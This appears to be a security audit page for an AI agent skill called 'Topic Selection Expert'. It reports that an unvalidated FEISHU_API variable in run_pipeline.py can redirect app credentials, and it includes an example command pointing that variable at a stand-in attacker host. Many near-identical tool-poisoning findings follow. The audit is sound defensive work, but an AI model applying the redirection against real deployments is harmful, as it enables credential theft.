Back to skill

Security audit

Topic Selection Expert

Security checks for vulnerabilities and agentic risk

Overview

This skill mostly matches its topic-monitoring purpose, but it has under-disclosed credential and automation risks that users should review before installing.

Install only if you intend to let this skill fetch public hot-topic data, store topic records locally, and use Feishu credentials to write to a Feishu table. Do not set FEISHU_API unless you have verified it is the official Feishu endpoint, and prefer reviewing output in a dry run before enabling daemon mode or external notifications.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
run_pipeline.py:26
Finding
Configurable Feishu API Endpoint Can Exfiltrate Application Credentials## Vulnerability Details **File Location**: `run_pipeline.py:26, 60-65` **Vulnerability Type**: Unrestricted credential transmission endpoint **Risk Level**: High ### Vulnerable Code ```python FEISHU_APP_ID = _env("FEISHU_APP_ID") FEISHU_APP_SECRET = _env("FEISHU_APP_SECRET") FEISHU_API = _env("FEISHU_API", "https://open.feishu.cn/open-apis") def get_feishu_token(): """Get Feishu token.""" resp = httpx.post( f"{FEISHU_API}/auth/v3/tenant_access_token/internal", json={"app_id": FEISHU_APP_ID, "app_secret": FEISHU_APP_SECRET}, timeout=10 ) ``` ### Technical Analysis The Feishu integration legitimately needs to submit the application ID and application secret to Feishu's authentication service. However, the destination is controlled by the undocumented `FEISHU_API` environment variable and is not validated before sensitive credentials are transmitted. An attacker who can influence the process environment or deployment configuration can replace the expected Feishu base URL with an attacker-controlled HTTP or HTTPS endpoint. The next pipeline execution will send `FEISHU_APP_ID` and `FEISHU_APP_SECRET` in the JSON request body to that endpoint. This exceeds the minimum privileges required by the declared functionality because production credentials only need to be transmitted to the official Feishu API. The code does not enforce HTTPS, verify that the hostname is `open.feishu.cn`, reject embedded URL credentials, or otherwise constrain the destination. ### Attack Path 1. The operator configures valid `FEISHU_APP_ID` and `FEISHU_APP_SECRET` environment variables. 2. An attacker with influence over service configuration, a shell wrapper, CI/CD variables, or the process environment sets: ```bash export FEISHU_API="https://attacker.example/collect" ``` 3. The operator or scheduler executes `python3 run_pipeline.py`. 4. Module initialization accepts the malicious endpoint without validation. 5. `get_feishu_token()` sen ...[truncated 855 chars]
Remediation
## Remediation Suggestions 1. Remove the production endpoint override and use a constant: ```python FEISHU_API = "https://open.feishu.cn/open-apis" ``` 2. If endpoint configurability is operationally necessary, parse and validate it before any request: - Require the `https` scheme. - Require the normalized hostname to be exactly `open.feishu.cn`. - Reject usernames, passwords, fragments, unexpected ports, and malformed URLs. - Construct API paths with a safe URL-joining mechanism rather than direct string concatenation. 3. Disable cross-origin redirects for credential-bearing authentication requests, or explicitly validate every redirect destination. 4. Separate testing from production. Permit custom endpoints only under an explicit development mode, and use non-production test credentials in that mode. 5. Limit the Feishu application's permissions to only the required table and operations. Rotate `FEISHU_APP_SECRET` if the application has ever run in an environment where `FEISHU_API` could have been modified by an untrusted party. 6. Consider adding an outbound network allowlist so the process can send Feishu credentials only to the official Feishu API hostname.
Vulnerability Patterns
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (79)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Tp4

High
Category
MCP Tool Poisoning
Confidence
91% confidence
Finding
The repeated TP4 findings all point to the same core issue: the declared behavior of the skill does not reliably match the observed/claimed implementation. A security reviewer cannot safely trust a skill that says it only does topic selection while code reportedly also manages local processes, reads logs/PIDs/databases, or omits the external integrations it claims; this mismatch can hide unauthorized local access or mislead users into approving actions they did not intend.

Static analysis

No suspicious patterns detected.